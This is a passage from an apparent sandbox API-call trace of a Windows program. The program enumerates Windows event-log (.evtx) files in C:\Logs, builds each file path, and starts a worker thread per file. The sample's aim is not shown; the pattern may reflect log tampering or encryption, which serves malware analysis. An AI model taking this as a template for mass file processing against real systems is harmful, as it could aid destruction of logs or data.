lpParameter=0x33c2d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0062.294] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0062.294] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", _String2=".") returned 1 [0062.294] wcscmp (_String1="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", _String2="..") returned 1 [0062.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0062.294] wcscpy (in: _Dest=0x3479e20, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.294] wcscat (in: _Dest=0x3479e20, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.294] wcscat (in: _Dest=0x3479e20, _Source="Microsoft-Windows-Kernel-WHEA%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" [0062.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0062.295] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0062.295] wcscmp (_String1="Microsoft-Windows-Known Folders API Service.evtx", _String2=".") returned 1 [0062.295] wcscmp (_String1="Microsoft-Windows-Known Folders API Service.evtx", _String2="..") returned 1 [0062.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd070 [0062.295] wcscpy (in: _Dest=0x33cd070, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.295] wcscat (in: _Dest=0x33cd070, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.295] wcscat (in: _Dest=0x33cd070, _Source="Microsoft-Windows-Known Folders API Service.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" [0062.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0062.296] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0062.296] wcscmp (_String1="Microsoft-Windows-LiveId%4Operational.evtx", _String2=".") returned 1 [0062.296] wcscmp (_String1="Microsoft-Windows-LiveId%4Operational.evtx", _String2="..") returned 1 [0062.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33c4180 [0062.296] wcscpy (in: _Dest=0x33c4180, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.296] wcscat (in: _Dest=0x33c4180, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.296] wcscat (in: _Dest=0x33c4180, _Source="Microsoft-Windows-LiveId%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" [0062.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c4180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0062.297] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0062.297] wcscmp (_String1="Microsoft-Windows-MUI%4Admin.evtx", _String2=".") returned 1 [0062.297] wcscmp (_String1="Microsoft-Windows-MUI%4Admin.evtx", _String2="..") returned 1 [0062.297] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481d98 [0062.297] wcscpy (in: _Dest=0x3481d98, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.297] wcscat (in: _Dest=0x3481d98, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.297] wcscat (in: _Dest=0x3481d98, _Source="Microsoft-Windows-MUI%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" [0062.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481d98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0062.298] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0062.298] wcscmp (_String1="Microsoft-Windows-MUI%4Operational.evtx", _String2=".") returned 1 [0062.298] wcscmp (_String1="Microsoft-Windows-MUI%4Operational.evtx", _String2="..") returned 1 [0062.298] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x33e8600 [0062.298] wcscpy (in: _Dest=0x33e8600, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.298] wcscat (in: _Dest=0x33e8600, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.298] wcscat (in: _Dest=0x33e8600, _Source="Microsoft-Windows-MUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" [0062.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0062.298] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0062.299] wcscmp (_String1="Microsoft-Windows-NCSI%4Operational.evtx", _String2=".") returned 1 [0062.299] wcscmp (_String1="Microsoft-Windows-NCSI%4Operational.evtx", _String2="..") returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x33c3f40 [0062.299] wcscpy (in: _Dest=0x33c3f40, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.299] wcscat (in: _Dest=0x33c3f40, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.299] wcscat (in: _Dest=0x33c3f40, _Source="Microsoft-Windows-NCSI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" [0062.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c3f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0062.299] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0062.299] wcscmp (_String1="Microsoft-Windows-NetworkProfile%4Operational.evtx", _String2=".") returned 1 [0062.299] wcscmp (_String1="Microsoft-Windows-NetworkProfile%4Operational.evtx", _String2="..") returned 1 [0062.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33ccaf0 [0062.299] wcscpy (in: _Dest=0x33ccaf0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.299] wcscat (in: _Dest=0x33ccaf0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.299] wcscat (in: _Dest=0x33ccaf0, _Source="Microsoft-Windows-NetworkProfile%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" [0062.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0062.300] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0062.300] wcscmp (_String1="Microsoft-Windows-Ntfs%4Operational.evtx", _String2=".") returned 1 [0062.300] wcscmp (_String1="Microsoft-Windows-Ntfs%4Operational.evtx", _String2="..") returned 1 [0062.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x33c43c0 [0062.300] wcscpy (in: _Dest=0x33c43c0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.300] wcscat (in: _Dest=0x33c43c0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.300] wcscat (in: _Dest=0x33c43c0, _Source="Microsoft-Windows-Ntfs%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" [0062.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c43c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0062.301] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0062.301] wcscmp (_String1="Microsoft-Windows-Ntfs%4WHC.evtx", _String2=".") returned 1 [0062.301] wcscmp (_String1="Microsoft-Windows-Ntfs%4WHC.evtx", _String2="..") returned 1 [0062.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481cd8 [0062.301] wcscpy (in: _Dest=0x3481cd8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.301] wcscat (in: _Dest=0x3481cd8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.301] wcscat (in: _Dest=0x3481cd8, _Source="Microsoft-Windows-Ntfs%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" [0062.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0062.302] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0062.302] wcscmp (_String1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", _String2=".") returned 1 [0062.302] wcscmp (_String1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", _String2="..") returned 1 [0062.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33ce718 [0062.302] wcscpy (in: _Dest=0x33ce718, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.302] wcscat (in: _Dest=0x33ce718, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.302] wcscat (in: _Dest=0x33ce718, _Source="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" [0062.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ce718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c [0062.303] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0062.303] wcscmp (_String1="Microsoft-Windows-ReadyBoost%4Operational.evtx", _String2=".") returned 1 [0062.303] wcscmp (_String1="Microsoft-Windows-ReadyBoost%4Operational.evtx", _String2="..") returned 1 [0062.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479970 [0062.303] wcscpy (in: _Dest=0x3479970, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.303] wcscat (in: _Dest=0x3479970, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.303] wcscat (in: _Dest=0x3479970, _Source="Microsoft-Windows-ReadyBoost%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" [0062.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488 [0062.303] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0062.304] wcscmp (_String1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", _String2=".") returned 1 [0062.304] wcscmp (_String1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", _String2="..") returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb450 [0062.304] wcscpy (in: _Dest=0x33eb450, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.304] wcscat (in: _Dest=0x33eb450, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.304] wcscat (in: _Dest=0x33eb450, _Source="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" [0062.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484 [0062.304] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0062.304] wcscmp (_String1="Microsoft-Windows-SettingSync%4Debug.evtx", _String2=".") returned 1 [0062.304] wcscmp (_String1="Microsoft-Windows-SettingSync%4Debug.evtx", _String2="..") returned 1 [0062.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x33c4a60 [0062.304] wcscpy (in: _Dest=0x33c4a60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.304] wcscat (in: _Dest=0x33c4a60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.305] wcscat (in: _Dest=0x33c4a60, _Source="Microsoft-Windows-SettingSync%4Debug.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" [0062.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c4a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0062.305] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0062.305] wcscmp (_String1="Microsoft-Windows-SettingSync%4Operational.evtx", _String2=".") returned 1 [0062.305] wcscmp (_String1="Microsoft-Windows-SettingSync%4Operational.evtx", _String2="..") returned 1 [0062.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0062.305] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.305] wcscat (in: _Dest=0x3479ad8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.305] wcscat (in: _Dest=0x3479ad8, _Source="Microsoft-Windows-SettingSync%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" [0062.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0062.306] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0062.306] wcscmp (_String1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", _String2=".") returned 1 [0062.306] wcscmp (_String1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", _String2="..") returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0062.306] wcscpy (in: _Dest=0x3479cb8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.306] wcscat (in: _Dest=0x3479cb8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.306] wcscat (in: _Dest=0x3479cb8, _Source="Microsoft-Windows-Shell-Core%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" [0062.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0062.307] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0062.307] wcscmp (_String1="Microsoft-Windows-Shell-Core%4Operational.evtx", _String2=".") returned 1 [0062.307] wcscmp (_String1="Microsoft-Windows-Shell-Core%4Operational.evtx", _String2="..") returned 1 [0062.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479a60 [0062.307] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.307] wcscat (in: _Dest=0x3479a60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.307] wcscat (in: _Dest=0x3479a60, _Source="Microsoft-Windows-Shell-Core%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" [0062.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0062.308] FindNextFileW (in: hFindFile=0x33dfa58, lpFindFileData=0x34203c0 | out: lpFindFileData=0x34203c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0062.308] wcscmp (_String1="Microsoft-Windows-SmbClient%4Connectivity.evtx", _String2=".") returned 1 [0062.308] wcscmp (_String1="Microsoft-Windows-SmbClient%4Connectivity.evtx", _String2="..") returned 1 [0062.308] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479da8 [0062.308] wcscpy (in: _Dest=0x3479da8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0062.308] wcscat (in: _Dest=0x3479da8, _Source="\\" | out: 